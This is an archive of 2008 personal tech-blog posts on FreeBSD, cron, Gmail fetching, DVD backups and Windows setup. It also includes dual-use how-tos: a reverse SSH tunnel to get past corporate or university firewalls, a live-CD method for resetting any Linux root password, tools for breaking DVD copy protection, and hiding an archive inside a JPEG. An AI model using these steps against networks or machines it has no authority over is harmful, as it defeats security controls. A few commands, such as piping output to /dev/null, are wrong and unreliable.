I found a guide for FreeBSD that was written in shorthand and had pieces left out. The guide also had a comment in it claming that the article was copied. The orginal guide was great but it was not particularly for FreeBSD so I still ran into some troubles. I would like to give credit to the original author however because without his guide I would not have been able to get this working. So thank you Charles Levert.

Enable POP in your Gmail account

Install fetchmail

cd /usr/ports/mail/fetchmail/
make install clean

Install ca-roots

cd /usr/ports/security/ca-roots
make install clean

cd /usr/src/crypto/openssl/certs
wget -O Equifax_Secure_Certificate_Authority.pem https://www.geotrust.com/resources/root_certificates/certificates/Equifax_Secure_Certificate_Authority.cer
openssl x509 -in Equifax_Secure_Certificate_Authority.pem -fingerprint -subject -issuer -serial -hash -noout
/usr/src/crypto/openssl/tools/c_rehash .

For some reason I was getting a permission denied error when running this. If you get this you need to make c_rehash an executable. To do this use this command:

# chmod 755 /usr/src/crypto/openssl/tools/c_rehash

And finally:

# file 594f1775.*

Add this to ~/.fetchmailrc. Replace the username@gmail.com with your email addres. Replace the password with password Replace ‘user’ with your local FreeBSD username

poll pop.gmail.com with proto POP3 user 'username@gmail.com' there with password 'xxxxxxxx' is user here options keep ssl sslfingerprint '59:51:61:89:CD:DD:B2:35:94:BB:44:97:A0:39:D5:B4' sslcertck sslcertpath /usr/share/ssl/certs

Run this command to give it a whirl.

$ fetchmail -d0 -v pop.gmail.com

If you get an error saying that there was a fingerprint key mismatch. Copy and paste the key in the error message into your ~/.fetchmailrc file replacing the key that is in there.

To protect this file from other users reading your Gmail password change the permissions.

$ chmod 600 ~/.fetchmailrc

Gmail only wants to be bothered once every 5 mintues (300 seconds). So use this command to start fetchmail in deamon mode with a poll of 300 seconds.

$ fetchmail -d 300

If you have your pop settings for Gmail set for all messages this will download them all to your local computer. If you have it set for new messages, only new messages will be downloaded.

Adding a Console Screensaver to FreeBSD 7.0

2008-03-17T00:00:00Z

By default FreeBSD does not come with a screen saver for console. It also does not come configured with a power saving mode. If you don’t use the console for some time I prefer to save energy and have my monitor turn off when it is not in use. Here is how you can install a screen saver for your FreeBSD 7.0 system.

Open /etc/rc.conf with your text editor:

vim /etc/rc.conf

add these lines of code:

saver=“green” blanktime=“300” scrnmap=“NO”

This will tell the console to turn the monitor to standby after 300 seconds (5min).

If you want an actual screensaver instead of monitor standby you can change the saver variable to one of the following:

daemon - “BSD Daemon” Animated screen saver (text) fade - Fade out effect screen saver fire - Flames effect screen saver green - Uses the power saving mode on your monitor logo - “BSD Daemon” animated screen saver (graphics) rain - Rain drops screen saver snake - Draw a FreeBSD “snake” on your screen star - A “twinkling stars” effect warp - A “stars warping” effect dragon - Dragon screensaver (graphics)

Learning Cron by Example

2008-03-11T00:00:00Z

If you are using a Linux system and want to schedule a task to run in the future you will probably need to know cron. Cron is much like Window’s Scheduled Tasks. The only difference is that cron is conifgured by a simple text file. Although, that text file to the untrained looks very complicated. Many people rely cron task generators to do the work but I hope that after this guide you will be able to make your own tasks without the use of a generator.

Now obvisouly cron is very dependent and sensitive to the time. If you want accurate results from cron you are going to want to setup your computer to sync its clock via NTP. For now if you don’t have that configured you can use this command to get up to date temporarily:

As root:

ntpdate pool.ntp.org

Editing Cron

There are more than one way to edit the cron config files; however many of them require you to restart the service. We don’t want to do that so here is a method to add a task to cron without having to restart the deamon. You will need to login to the user you wish to execute the command and type:

crontab -e

Here is the basic structure for cron.

m h dom mon dow command

m - Minutes
h - Hours (24 time)
dom - Day of the Month
mon - Month
dow - Day of the week
command - The command you want to run. This can contain spaces or point to a bash script.

Examples

Since many of you like to learn by example, I am going to give you pretty much every example I can think of. This should help you get going with cron.

*’s represent wildcards or any. Under dow 0 and 7 are both Sunday.

10 * * * * echo “This command is run at 10 min past every hour”
22 7 * * * echo “This command is run daily at 7:22 am”
22 20 * * * echo “This command is run daily at 8:22 pm”
00 4 * * 0 echo “This command is run at 4 am every Sunday”
* 4 * * Sun echo “This is the same as the command above”
42 4 1 * * echo “This command is run 4:42 am every 1st of the month”
01 * 19 07 * echo “This command is run hourly on the 19th of July”

Using the ‘-’ allows us to specify ranges of days. I actually used the following entry recently to run a script at the end of the working day. Execute at 5pm only on weekdays:

* 17 * * 1-5 /path/to/your/code

Using the ‘,’ allows us to specify intervals wihout having to have multiple entries in cron. This would execute the ask on the 1st, the 10th, the 20th and on the 30th of each month, at 17:59PM.

59 17 1,10,20,30 * * /home/username/backupsite

Using the ‘/’ allows us to divide the day into chunks. Here, the tasks is executed every 4 hours (²⁴⁄₆ =4).

59 */6 * * * /home/username/backupsite

Here is another example of using chunks of time and a range. Every 20 mins between the hours or 9am and 5pm

*/20 9-17 * * * /path/to/your/code

Dealing with the Output

Sometimes when we execute a command with cron we want to see the results of our command. Other times we could care less. By default the output from cron gets mailed to the owner of the process, or the person specified in the MAILTO variable. Here are some ways we can change the handling of it.

Structure:

cmd | argument

Example of an email output. This will email the results of my command every 4 hours to user, ‘mark’.

59 */6 * * * /home/username/backupsite | mail -s "Subject of Mail" mark

If we don’t care about the output we can send it to nowhere (literally). For example purposes I will just display the cmd and not the entire cron entry.

cmd | /dev/null

Output to a text file and append it if it exists already.

cmd >> log.file

More information can be found in the man page of cron. For more information just type:

man cron

Cron Monitoring for Small Businesses that like to Self-Host

If you run a small business and want to centralize your logging and monitoring. I created a centralized logging system that is easy to self-host called Central Logging. Checkout the cron monitor docs.

Initial Impression of FreeBSD 7.0

2008-03-10T00:00:00Z

If you have heard about Linux or currently using it you are probably aware that it was derived from Unix. Linux is not the only variant derived from Unix. There has been a number of Unix variants one of which is, FreeBSD.

Since FreeBSD recently announced a new release I thought I would give it a try. When they released FreeBSD 7.0 they had claimed that it performed at least 15% faster than the latest Linux kernel. For such as substantial increase in performance I just had to give it a try. Here is how it went.

Disclaimer: At the time of writing I am new to FreeBSD and my knowledge is limited. I have only used/installed FreeBSD one other time prior to this. I also come from a strong Linux background so I may be a bit biased. Expect to see a few comments like, why doesn’t this work like Linux? But I will try to keep them minimized. :)

What I noticed right away

FreeBSD uses a text install which I found was very quick and easy to use.
The default shell is not BASH but rather csh. (I changed this immediately). I actually asked a few people why FreeBSD does this and the response was similar to this: csh is very minimal and standalone. It is easer to support and is not as thirdparty. BASH contains libraries so if you are isntalling FreeBSD as a minimal installation it is not included. Fortunately for me BASH was is easy to install and configure.
FreeBSD is very similar to a Linux ditribution I used to use called Gentoo.
FreeBSD is ment to be a compile everything OS; although, they do have binary installs via the pkg_add utility.
The minimal install is VERY light.

What I like so far

One complete operating system rather than a Linux kernel and many different distributions. FreeBSD does not need multiple distros since you are essentially building from the ground up. You are creating your OWN distro.
They claim FreeBSD is faster than linux. I hope to put this to the test in later posts.
The kernel config is a small text file.
Rebuilding the Kernel was a little easier than Linux due to the small configuration.

What I don’t like

I tend to be impatient when it comes to installing things. Compile time is annoying but in the end is a blessing.
It takes a long time to install.
The default shell is csh.
I havn’t gotten used to the way FreeBSD names their devices.

Future comparison tests

In the future I plan to make a few posts on the speed/ease/configuration/maintenance of both a Linux server and FreeBSD server. If you are curious how FreeBSD compares to Linux on a specific application or service please let me know in the comments and I will do my best to write a fair comparison of the two.

Hard Drive Benchmarking
Linux Apache vs FreeBSD Apache
PHP
MySQL load tests
FTP Load tests
Ease of configuration of LAMP / FAMP

Bypass Firewall and NAT with Reverse SSH Tunnel

2008-02-27T00:00:00Z

Recently I wanted to control my computer from a remote location. Problem was that the destination computer was behind a NAT and a firewall. Almost all large networks (corporate and universities) including home routers are now using some sort of NAT (Network Address Translation).

The problem with NAT is, that you can’t directly connect to the computers that are outside the NAT. Computers behind a NAT can only recieve packets that they request. For this reason we need to create a reverse SSH tunnel to establish a connection. If you are familiar with Hamachi or gotoypc type software this is the exact same thing they do to connect to computers behind NAT/Firewalls, only they use their severs as the middle man. We are going to have to find our middle man on our own.

Can’t I just use Hamachi gotomypc or some other software?

Well I actually forgot about reverse tunnels the other day and installed hamachi on my linux server. After trying to connect with my windows machine outside the NAT I found that it couldn’t create a connetion. After searching I found that Hamachi does not support low-speed relay (reverse tunnel) with their linux version of the program. That makes the Linux version of Hamachi useless. If you are trying to connect to a Windows machine by all means it is probably easier to just install Hamachi. But if you are dealing with a Linux machine there is a much easier way, provided that you ssh access to a computer in the middle. To establish a reverse tunnel in Linux you type in only one simple command.

So how about gotomypc? Well if you don’t have a computer in the middle to connect to and are willing to pay $19.95 a month, its not a bad service. I don’t believe gotomypc works for Linux however.

In order for you to create a reverse tunnel you must have SSH access to a middle computer that you can connect to from origin computer.

Setting it all up

On the destination computer type the following command. Replaceing middleuser with your name and replacing middle with the domain of the middle computer.

ssh -R 10002:localhost:22 middleuser@middle

This will open port 10002 for listening and forward all future connections to port 22 at destination. This connection must remain on the entire time to ensure that you can access your destination computer whenever you want.

Now if sshd is set to use GatewayPorts you should be able to connect with this:

ssh destinationuser@middle -p 10002

If you are not sure if GatewayPorts is on or you don’t have the access to change it use the following method to connect:

First connect to the middle computer how you would normally.

ssh user@middle

Then connect to the localhost of the middle computer on port 10002.

ssh user@localhost -p 10002

Note: The port 10002 is arbitrary you can use any port you want.

You should now be remotely logged into your computer behind the NAT/Firewall. Enjoy :)

For added security you could Add Port Knocking to SSH and Use Keys Instead of Passwords

FreeBSD Users

The above instructions will work for FreeBSD but for whatever reason I was unable to get the connection to stay alive for more than a few minutes. So, as a temporary work around I just do the same thing as above but I then run the program, “top” so that the connection is forced to stay alive. This isn’t the ideal solution however and I would appriceate it if someone could tell me why its closing the connection all of the time.

Recovering From a Lost Linux Root Password

2008-02-25T00:00:00Z

Lost your Linux root password and need to do change it fast? Then this guide is for you. I recently had lost my Linux password and I needed to get it back right away after doing a bit of searching a ran into a few different ways of doing it. Some of them required nothing but changing the lilo/grub config to single user mode.

Some guides suggested deleting the /etc/shadow directory. Although those methods may have worked I decided to go with the method I was most comfortable performing. Which is to boot into a Linux live cd, chroot, and change the password the way you would normally do it (passwd root).

The first thing we need to do is boot up a working Linux distribution. Since our current distribution is crippled by our forgotten password we shall use a Linux live CD. Now there are a plethora of live cds to choose from. I have tested this method on SystemRescueCD, the latest version of Knoppix, and the Gentoo Live CD. Although, it should work with any live CD.

Once you get booted into the live CD, we must be root to use most of the commands that follow so lets switch to root.

su - root

We will then need to determine which device your Linux hard drive is listed as under linux. Look for the listing that says Linux it will have the root partition on it.

fdisk -l

We will then need to make a directory to mount to.

mkdir /mnt/maindrive

Mount the drive. Change the sdb1 to match your device that you found using, ‘fdisk -l’.

mount /dev/sdb1 /mnt/maindrive

Now we are going to issue the big command. This will change your root directory from the live CD to the one on your hard drive. The key here though is that you already have root access when switching therefore you will have root access to the Linux system on your hard drive. We also append the /bin/bash command to start the bash shell in your new environment.

chroot /mnt/maindrive /bin/bash

Now you should have root access and a basic bash shell. You probably know what to do from here. You simply issue the command you would always use to change a users password and since you are root you can change anyone’s password even your own (which is what we will do).

passwd root

You will then be greated with some text that says, “Enter new UNIX password” or something similar. Type in your desired password. Note: This goes without saying but I will say it anyways, don’t use ‘password’ as your password. If you want a good password go here.

password

You can now reboot into your normal distribution.

reboot

I tested this method using three different live cds. None of them took more than three minutes to boot in, and change the Linux root password. If you don’t start the X graphic system you can change the password in less than 30 seconds. Remember if someone has physical access to the computer you have no security.

Hopefully I saved you from having to reformat or pulling your hair out. If you know of a better way to change the root password let me know.

The Ultimate Guide to Properly Backing Up Your DVD's

2008-02-11T00:00:00Z

If you have a huge collection of DVDs you want to backup than this guide is for you. After burning about 600 DVDs I have come to learn the ins and outs of dvd burning. What works great, what media works in all dvd players, why labeling your DVDs will cause them to start skipping half way through watching, how to properly store your DVDs, and how to defeat the new evil copy protection that prevents dvdshrink and DVDDecrypter from successfully backing up your DVDs.

Why Backup DVDs?

For the same reason you want to back up CDs. They get scratched. They get broken. They get oilly-popcorn-fingers on them. They get lost. You get the idea. And with more and more people serving audio content, and home movies via a Media Center PC or mythbox, there is a rising need for people to convert their DVDs to digital files to replace the inconvience of finding and inserting DVDs to watch thier favorite movies. Also there is a rising trend of putting DVDs on mobile devices such as: iPod, PSP, Zune, Cellphone, etc.

Do Yourself a Favor Get Good DVD Media

If there is one thing you take away from this guide it is this, Buy Quality DVD Media. In order to make a successful DVD that will work in all players, not skip, or degrade over time you need to start with buying the best media you can get. After burning about 200 DVDs I had a problem. After watching the movie for about an hour it would start to skip. This lead me to believe that the labels that I was using were causing it to skip. I was right, what happens is the labels are not equally weighted and you cannot put a paper label on a DVD without causing the DVD to wobble at high speeds. This wobble effects the outer portion of the DVD the most since it is a larger circle there is more room for error. This however was not the end of my skipping problems. Soon after I re-burned all my DVDs without using labels I was still noticing some DVDs skip throughout the movie randomly. I was using Nero at the time and it fortunately came with a utility that will burn a disc and then analyze the disc to make sure that it has the data in its entirety. What I eventually found out is that it doesn’t pay to use those blackfriday $2.⁹⁹⁄₅₀ DVD packs you get at Staples.

This lead me to a quest to find a quality DVD media. What I actually found is that most DVDs are not created by the brand you see on the label. Most DVDs come from a handful of media producing companies. Mitsubishi for instance creates many of the discs. Another thing I found is that sometimes a brand that would normally have quality DVDs (like Memorex) will sometimes outsource their DVD production to a lesser quality company causing an entire batch of DVDs to be bad. I eventually found a site that did tests on all types of DVD media. The conclusion was there was only ONE brand that consistently provided quality DVD media. The brand is called Tayo Yuden. They are made in Japan. If you serious about backing up your DVDs I highly recommend getting authentic Tayo Yuden DVDs; however, since this media is so well known for its quality production there are some people trying to imitate the MID code on the media making fake discs. So be careful when purchasing these online.

I have found a company that provides the authentic Tayo Yuden discs for a reasonable price. Supermediastore.com has them for 0.28/disc. After wasting several hundred DVDs on making mistakes with wrong media and labels this is the only media I can recommend. Of course if you only own a few movies and you are only backing up a few, the Memorex discs from Wal-mart will probably be fine. Just don’t expect a perfect copy or all of the copies to be skip free. There may be other media that perform as well as Tayo Yuden but I have not found any.

Difference Between a DVD Backup and the Real Thing

In order to understand the process of properly backing up a DVD we need to understand how they are made. A burned DVD is not made in the same way that a genuine produced DVD is made. A genuine DVD is pressed with a machine. As apposed to a “burned DVD” where foil is being burned through a small layer of plastic. Without getting to heavily into details a genuine DVD is more resistant to scratches and degradation over time. Furthermore since it is pressed with a machine there is almost no chance for errors like there are in a burned DVD. A burned DVD could be full of errors due to laser miscalculation or an uneven DVD. This is why it is important to choose a high quality media like Tayo Yuden.

Another difference between a genuine DVD and a backup is the type of disc they use. Most of the newer DVD movies are released on what is called a dual layer DVD. A Dual layered DVD can hold twice the data than a normal single layered DVD. Since I want to keep the costs of my backups to a minimum, I choose to backup all of my movies on single layered discs regardless of what type of DVD the original is. Unfortunately however, this means that we need to get rid of half of the data the original DVD has. I usually start off by removing all subtitles, foreign audio tracks, menus, and extras. Now I know what you are thinking. You like these things. Well you can keep them on a single layered disc if you compress the video further. What this means however is that the backup DVD will have lower quality video. Of course there still is the option of making a perfect backup with a dual layered disc. But the later option requires a higher investment to create backup copies and I usually do not notice a difference.

DVD Backup Software

I used to backup all my DVDs with one program, DVD Shrink. DVD Shrink is a free program that will analyze the disc, strip out region codes, remove copy protection, and compress the video if the original was on a dual layered DVD disc. After backing up many DVDs I found that some of them were failing to read certain portions of the disc. I first attributed this to scratches on the disc. It turns out that there was a new form of copy protection since the development of DVD Shrink. Since DVD Shrink is no longer being developed I had to look elsewhere. The first program I came across was DVD Decrypter. This worked for more DVDs than DVD Shrink but there were still a few stubborn DVDs that wouldn’t copy. I found the program AnyDVD, that would copy the newer DVD movies regardless of the type of copy protection. This program worked for most of the movies but the newest DVDs protected with ARccOS would still not copy. Also with AnyDVD there are no free versions. This lead me to search around yet again for a program that will backup even my newest of DVDs. I recently found DVDFab HD Decryptor will backup every movie that I have thrown at it thus far.

How to rip a DVD to the hard disk using DVDFab HD Decrypter

Re-Authoring Your DVDs

To re-author my DVDs (strip out menus, foreign audio tracks, bonus material etc.) I use DVD Shrink. This first decision you need to make when re-authoring a DVD is. Do I want the menu? If you don’t have a use for the DVD menu you select the ‘re-author’ button in DVD shrink. If you want to keep the menu make sure you are on the ‘Full Disc’ section.

If you choose to omit the menus and re-author the disc you should see something like this:

From here you will notice that under ‘Main Movie’ you will notice Title 1. 99% of the time this is the whole movie with out menus and bonus material. Simply drag this over to the left hand side and you are almost done. Note: If there are two Titles under ‘Main Movie’ this usually means there are two different aspect ratios. In other words there is a wide screen and full screen version. Choose the one you want and drag it to the left. You can preview the video on the left side of the window by pressing the play button. If this is the right one proceed to the compression settings. Click the ‘Compression Settings’ tab.

Under the ‘Compression Settings’ tab there will be some more decisions to make. Usually the goal is to remove anything that you may not need. The more things you remove the less compression you will have to do on the main title. My goal when backing up is to maintain the quality of the movie and the surround sound quality. Other than that I could care less about menus and other things. As you can see in the next screen shot I remove all captions except English. I also remove the two channel English stream. I remove all audio except the surround sound 5.1 channel. What happens to the audio of the movie if you don’t have surround sound you ask? Well, 5.1 is capable of playing only the 2 channel stream. So there is really no reason for keeping it here. Note: If you have the option to choose between DTS and Dolby Digital 5.1, I recommend choosing DTS. I find that DTS is much higher quality and I am willing to compromise some video quality for high quality surround sound. You can read about the differences here.

After you have removed unwanted audio tracks and subtitles click on backup. Make sure you change/remember where you save the DVD backup and then select DVD Region. In here select, Region Free. This will ensure that the disc will be able to play on all DVD players including foreign ones. Then click quality options. To make sure you get the highest quality copy you will want to select the, “Perform deep analysis before backup to improve quality” check box. When you are done review the settings and hit, OK. Depending on the speed of your processor and hard drives, this could take awhile so get comfortable.

Burning the DVD

The actual burning process of the DVD is actually quite simple; however, since many of you use different burning applications I cannot tell you how to set yours up exactly. Usually all you have to do is make sure you have two folders in your compilation called: AUDIO_TS and VIDEO_TS. Even if the AUDIO_TS folder of your dvd is empty, include it anyways.

Here is a guide for burning DVD-Video using Nero (The most popluar Windows burning application).

Storing Your DVD Backups

Now that you know a little bit about which media to use, why you shouldn’t label them, and why burned DVDs scratch easier lets talk about how you should store them. The proper way to store a DVD for long periods of time is in a DVD case or jewel case. This however is not very economical as these cost nearly as much as the DVD does. I ended up going with the DVD wallet. they hold around 200-500+ DVDs in each and you can get them for less than $20 on supermediastore.com. I have to warn you though since storing in these cases can cause damage to the DVDs. When compressed these wallets will leave an imprint over time on the media causing them to skip. I have even seen cheaper media have microsopic tears in the foil due to the weight and compression of the other DVDs in the wallet. To overcome this you should always store your wallets standing up and never stack them or compress them in any way.

Sometimes these wallets come with a flap to keep them from sliding out. These flaps should be placed over the DVD at all times, as they will ruin the portion of the DVD that they touch. A simple solution that I came up with to avoid the problem entirely is to just cut them off.

Organizing Your DVDs

There are many ways of organizing your DVDs ranging from simple to complex. If you store your DVDs in a DVD wallet you can not really alphabetize them very easily. Anytime you added a new DVD you would have to take out every single DVD and move them around. One solution to this would be to make a reference system for your DVDs. The reference system I came up with was in this format:

Volume # - A-Z(repeating with AA) 1-4 V1 - A1, V1 - A2

You then could keep a simple alphabatized list on your computer with their respective reference code. Anytime you need to watch a specific movie you would be able to find it immediately without thumbing through pages through endless DVD wallets. You could even use the Ant Movie Catalog to store your collection of movies. This program will check amazon or imdb and store lists of actors, plots, genres and more. This is helpful if you want to sort your movies by comedies, find all movies that you have that contain Tom Hanks in them, or find all movies that are G rated.

Of course there are many types of DVD organization software. Some are even web-based that are shareable amongst friends. Some have a rental system built in so you can lend out your movies and get email alerts to remind you/them to return the DVDs. To make cataloging easier some software will turn your webcam into a barcode reader to automatically detect the movie and download pertinent information regarding the show.

I hope this guide has helped you in some way. If you have any questions about any of the procedures or steps to creating a successful backup please let me know in the comments section below. Also, with this guide I attempted to cover all possible issues regarding backing up DVDs as well as share my experience of backing up over 600 DVDs. I made a lot of “coasters” (worthless DVDs) in the process and hope to save you some time and frustration.

Changing the Default Gnome Menu Icon

2008-01-31T00:00:00Z

Ok, after googleing and looking for answers I didn’t really find anything that worked for changing the default icon for Gnome. Some articles suggested changing lines in gconf editor. Some articles suggested changing about 5 different system icons and see which one works for you. After my own trial an error I found depending on which version of Gnome you have there are different ways to go about this.

Changing the Default Gnome Menu Icon for Debian Etch (stable)

Note: This method was tested on 2.14.3 version of Gnome. For newer versions of Gnome the file you are looking for is in /usr/share/icons/THEMENAME/scaleable or /22x22/places. See the next section.

The file we are looking for is called gnome-logo-icon-transparent.png. It is located in /usr/share/pixmaps/.

Rename the original just in case you want to use it again: mv gnome-logo-icon-transparent.png gnome-logo-icon-transparent.png.bak

Move/rename the image of your choice to, gnome-logo-transparent.png. In this case I am making a copy of the debian logo and naming it. cp gnome-debian.png gnome-logo-icon-transparent.png

Restart the gnome panel: killall gnome-panel

After you kill the gnome panel you should be greeted with another panel with the new logo in it as like in this example:

Changing the Default Gnome Menu Icon for Debian Lenny (testing)

Note: This method was tested on 2.20.3 version of Gnome.

The file we are looking for is called start-here.png. It is located in /usr/share/icons/THEMENAME/scaleable or /22x22/places.

Changing the Default Gnome Menu Icon for Ubuntu

The place to change the Ubuntu icon for Ubuntu 7.10 (Gutsy) is:

/usr/share/icons/Tango/scalable/places/start-here.svg

Thanks GregR for the verification on this one. Also if there are any other distributions that you have had luck with changing the default Gnome icon please let me know. As I switch distributions around I will continue to update this page for more instructions on how to change the default Gnome icon for each distribution.

Installing Microsoft Fonts (msttcorefonts) on Debian Linux

2008-01-29T00:00:00Z

Sometimes when moving to the linux world we miss a few things that windows had to offer. A lot of times it is because we simply got used to them. Microsoft’s true type fonts are one of those things. Besides just the comfortability factor the other reason to install the MS true type fonts is for better internet browsing. Often times web designers forget to check what their pages look like in Linux with Linux’s default font package sometimes leading to some weird results. Since Microsoft has released these fonts for free we might as well save the headache and just install them.

Since Debian Linux is best known for only bundling completely free and open source software with their distribution we need to change a few things to allow other software to be installed.

You need to add two words in your /etc/apt/sources.list file. Those words are, non-free and contrib. Open /etc/apt/sources as root.

Find the following lines:

deb http://ftp.debian.org/debian/ etch main deb-src http://ftp.debian.org/debian/ etch main

and make them look like this:

deb http://ftp.debian.org/debian/ etch main non-free contrib deb-src http://ftp.debian.org/debian/ etch main non-free contrib

You may also want to add contrib to your security updates if it isn’t already.

deb http://security.debian.org/ etch/updates main contrib deb-src http://security.debian.org/ etch/updates main contrib

In order for apt to understand the new changes we must update it:

apt-get update

Install the package with:

apt-get install msttcorefonts

For those of you using Ubuntu, the steps are essentially the same.

All done! Now you can enjoy websites and other things in those Microsoft fonts that you have learned to love.

Weekend Link Roundup : Week 2

2008-01-26T00:00:00Z

Top 20 Linux Apps for 2007 - A great list of Linux apps you might need. I personally don’t like Amarok, but that is because I don’t like a “media managment” type music player. I like the simple playlist random play style.

BackTrack 3 Beta Just Released - My favorite Linux security distribution is now in version 3. I can’t wait to try this out. The previous releases have been the best security distros I have used.

3 Ways To Access Linux Partitions (ext2/ext3) From Windows - If you dual boot with Linux you probably have a need to read/write to Linux hard drives from within windows. I was thinking about writing this same article on my blog but I noticed it was recently written so here is a link.

Microsoft Says Vista More Secure Than XP, OSX and Linux - This one is actually funny, Microsoft claims their Visa OS is more secure than Linux and OSX. Remember last time Bill bragged about the security of his OS? A hacker found a vulnerability the very next day.

Internet ‘96 - A nice article taking us back in time. What did the web look like in 1996? Kind of looks like the websites I made in the 7th grade.

Easy as Pie - Working with a Database - If you are new to MySQL or would like to give it a shot this article has the basics.

Free Advanced DHTML Color Picker - For the webdesigners, this looks like a nice DHTML color chooser.

Billy is a lightweighted no nonsense audio player - So weighing in at 665kb, Billy is the lightest weight media player that I have ever seen that functions exactly the way want it to. With intuitive hotkeys and no nonsense bloat I have to recommend you try this out.

Hiding a Compressed RAR File in a JPEG

2008-01-22T00:00:00Z

OK, ever want to send a file to someone in a very sneaky way? Or want to files on your sever cleverly disguised as a jpeg? Here is a way for you to bind these files in windows so that it looks like a normal jpeg image. If you open it by means of a double click, it will open in your default image viewer. If however, you open the jpeg with WinRAR the file will act as a compressed archive!

To do this follow these steps:

Place the image in c:. Then place the .rar file that you want to bind with the the image in the same directory.

Open up the command line by clicking, start, run, then type cmd, press enter.

Navigate to the c:\ by typing, `*cd c:*.

Type copy /b nameofimage.jpg + nameofrar.rar chooseanewname.jpg

The command above will produce a file with the name of your choosing. The resulting jpg image will have the rar file binded to it. To windows this image looks like any other image. To WinRAR it it is a compressed archive file.

The following image was made using this process and has a secret rar file attached:

Removing U3 on Sandisk Flash Drives

2008-01-21T00:00:00Z

Recently I purchased a Sandisk Cruzer micro 4GB flash drive which I use for storing some of my favorite applications and files. Immediately after using it for the first time it came up with this annoying interface that was geared towards Windows only. Knowing that I hate any software that excludes other operating systems. I tried formatting the drive in Linux and Windows only to find the U3 program was still there taking up space and annoying the hell out of me. After doing some searching I found that you can remove the U3 software that comes bundled. When I heard this news I was thrilled.

Here is a screenshot of the U3 interface:

For those of you that can’t stand the U3 interface here is the URL for the removal tool.

Caution: It is to my understanding that once it is removed you can not install it again. You can however install ProtableApps from sourceforge for an opensource alternative to U3.

Sandisk Removal Tool

10 Reasons Why I Hate Microsoft Windows

2008-01-18T00:00:00Z

Ok, here is my 10 reasons why I have Mircorosft Windows in no particular order and my suggestions on how to cope with them. Now don’t get me wrong I like windows for playing my games. I do use Linux as my main operating system; however, it is inconvenient to reboot into windows just to play games. So, sometimes I find myself using windows for weeks at a time. Out of my recent frustrations I thought I would post my top reasons for hating windows.

1. It rots faster than a jug of milk left in a hot car.

If you are not formatting/re-imaging windows AT LEAST once every 6 months I would guess your computer is running at about 50% efficiency. For most people that are infected with spyware/malware you are probably running at about 10% efficiency.

I suggest making an image of your computer after you install windows and configure it to your needs so you can restore it whenever you can without a big hassle. Of course this means you need to save your files on a partition/harddrive other than the one Windows resides on.

2. Windows deceives the user and tries to hide the truth to “protect/help” the user.

The first example of this is the My Documents, My Pictures, etc… They make a folder on the start menu or in My Computer. Most users don’t even know where their files are being stored they just know that they can save them in “My Documents”. I guess Microsoft is trying to help computer users be more organized by making folders for them but they are only confusing them. The downside to this is most people have all their files and data on the same harddrive/partition as the OS (Windows). This makes it harder to format every 6 months because you have to move them out of there. Wanna know what is really lame? Try removing My Documents… it can’t be done very easily and almost every program tries to force you to save your files there.

Another example of this is hiding file extensions. I guess they are trying to help the user by hiding it so they don’t get confused and don’t have to worry about renaming off the extension. Problem is that a lot of users don’t know about the extension and open exes/viruses.

I suggest saving your files on another drive/partition. The option to show file extensions are in the folder options under ‘view’.

3. It has such a monopoly that game developers won’t code for other operating systems

4. You can’t uninstall Internet Explorer completely.

Install Firefox or Opera. I currently favor Opera over Firefox since it is most compatible with web standards according to the acid2 test, the Fastest browser, the most secure, and also made in one of my favorite countries, Norway. ** 5. They don’t play nice with the other kids. Windows is notorious for not providing support for networking with other operating systems.**

6. All the default software that comes with Windows is bloated or unnecessary. An example of this would be Windows Media Player vs. Media player classic or VLC. I spend about 30 minutes after each fresh install of Windows XP just removing unnecessary programs and services.

7. It never activates by itself over the internet. I always have to call into to activate my windows software. The automated telephone service never activates it but the guy on the phone will activate it without asking me a single question about its legitimacy. This makes absolutely no sense to me. I waste about 15 mintues of my time every time I have to call in to Microsoft and sense I have to format every 6 months this is extremely annoying.

To bypass this headache I have resorted to making a ghost image of a clean install of XP.

8. Windows can’t delete a file that is in use (and sometimes can’t copy it). This is absolute blasphemy. Linux has been able to do this for years. Ever try copying over your/someone else’s 20gb+ My Documents? You start the copy then leave the computer for an hour or so only to come back and find a nice error that says it failed to copy a file. Thats nice and all but you didn’t have to stop in the middle of transferring all the OTHER files.

Thankfully there are programs out there that solve this problem.

End task doesn’t do anything (most of the time). Ever try to end a task in windows only to find yourself hitting the end task button a thousand times realizing the only way to end the task is to restart? When I was a Windows only user I thought this was normal. I thought sometimes things just go wrong and there is no way to end the program/processes without a good old fashion restart. When I was introduced to Linux I was amazed that their version of “end task” actually worked and was immediate. It is simple when you end a task in Linux it is gone instantly. Unfortunately I believe this has to do more with the way the core operating system works and I haven’t found a fix for this annoying problem in Windows.
Every time a windows programs crashes it wants to send a useless report to Microsoft. Thankfully this is one of the things I disable after a fresh format. To disable it go to start > run > type services.msc then find error reporting and disable it.

Why do you hate (love) Windows?…

What to do After a Fresh Install of Windows XP

2008-01-15T00:00:00Z

What do you do after a fresh install of Windows XP? Certainly there needs to be some things that have to be setup before you can actually use the internet. There are programs to be installed, configurations to be done and preferences to set. Here is my list of things I do after a fresh install of Windows XP.

Make sure I have Windows SP2 installed before configuring my internet connection

There are many exploits that worms/viruses can take advantage of pre SP2. I have seen computers get infected with viruses within minutes of being plugged into a network. For this reason, I like to have SP2 on a CD or slipstreamed into Windows XP before I configure my internet connection.

Install drivers for network card/motherboard

In order to hook your computer up to the internet you will usually need drivers for your network card/modem. Usually these devices are on your motherboard. Typically motherboards come with a CD including the drivers you need. If you have misplaced the CD you can use another computer to download the drivers from your manufacturer’s website and transfer them to your computer you are formatting.

Download latest video drivers from Nvidia.

Setup internet connection

Setup your internet connection. This may mean you need to simply plug it in or change your IP address and other settings. This is usually different for everyone.

Uninstall useless programs that come with Windows XP

Windows Media Player (replace with Media Player Classic)
MSN Messenger (replace with nothing, or Pidgin)
Windows Messenger (replace with nothing)
This post has more information about useless software

Install Antivirus

I have used almost every form of antivirus and/or observed them on 1000’s of computers when I worked for the university. In my experience NOD32 was consistently the best and probably still is. If you find a report that can prove this wrong I would love to see it; however, many of the antivirus comparison reports are bias.

Install Everyday Software

Install Foxit PDF Reader - Sadly, this is far superior to Adobe Acrobat Reader Download and install latest version of Opera Install Media Player Classic Install Winamp Version 2.91 (It is critical to get this version for speed and usability) Install WinRAR (I like this better than 7zip) Install Filezilla Install and use JKDefrag (Great Defrag utility) Install ffdshow (divx and other files) Install Openoffice or MS Office

Configure your Browser

I usually need to change a few settings in my browser before I can use it. Here are some of the things things I tend to change. You may have other preferences and/or browser extensions that you use.

Change default home page to http://www.google.com
Change history and privacy settings
Turn off all remember passwords check boxes

Change power settings

If you are using a laptop or just trying to save some power you should check out these settings.

Change the way Windows Explorer Behaves

